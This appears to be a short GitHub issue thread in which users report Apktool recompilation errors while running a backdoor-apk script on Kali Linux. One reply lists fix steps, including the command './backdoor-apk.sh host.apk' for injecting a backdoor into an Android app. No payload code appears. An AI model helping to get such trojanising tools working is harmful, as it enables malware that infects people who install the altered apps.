How to solve...

Same problem here! I've kali linux on x64

@moonwolf63x @italiangrubber All recompilation issues involve Apktool. Have you tried to decompile/recompile the APKs in question using Apktool on it's own? That's the best place to start when you first face a recompilation issue. If Apktool can't decompile/recompile the APK then that is the root cause.

1. replace the kali apktool with this https://ibotpeaches.github.io/Apktool/install/
2. run apktool empty-framework-dir ./cleanup.sh
3. run ./backdoor-apk.sh host.apk
4. must work ;)

@WiredLife I replaced the apktool with latest version (2.3.4-1) and still doesn't work :/... Any fix?

[dsx12]

Is there a alternative tool other than apktool to rebuild decompiled apks that successfully works?
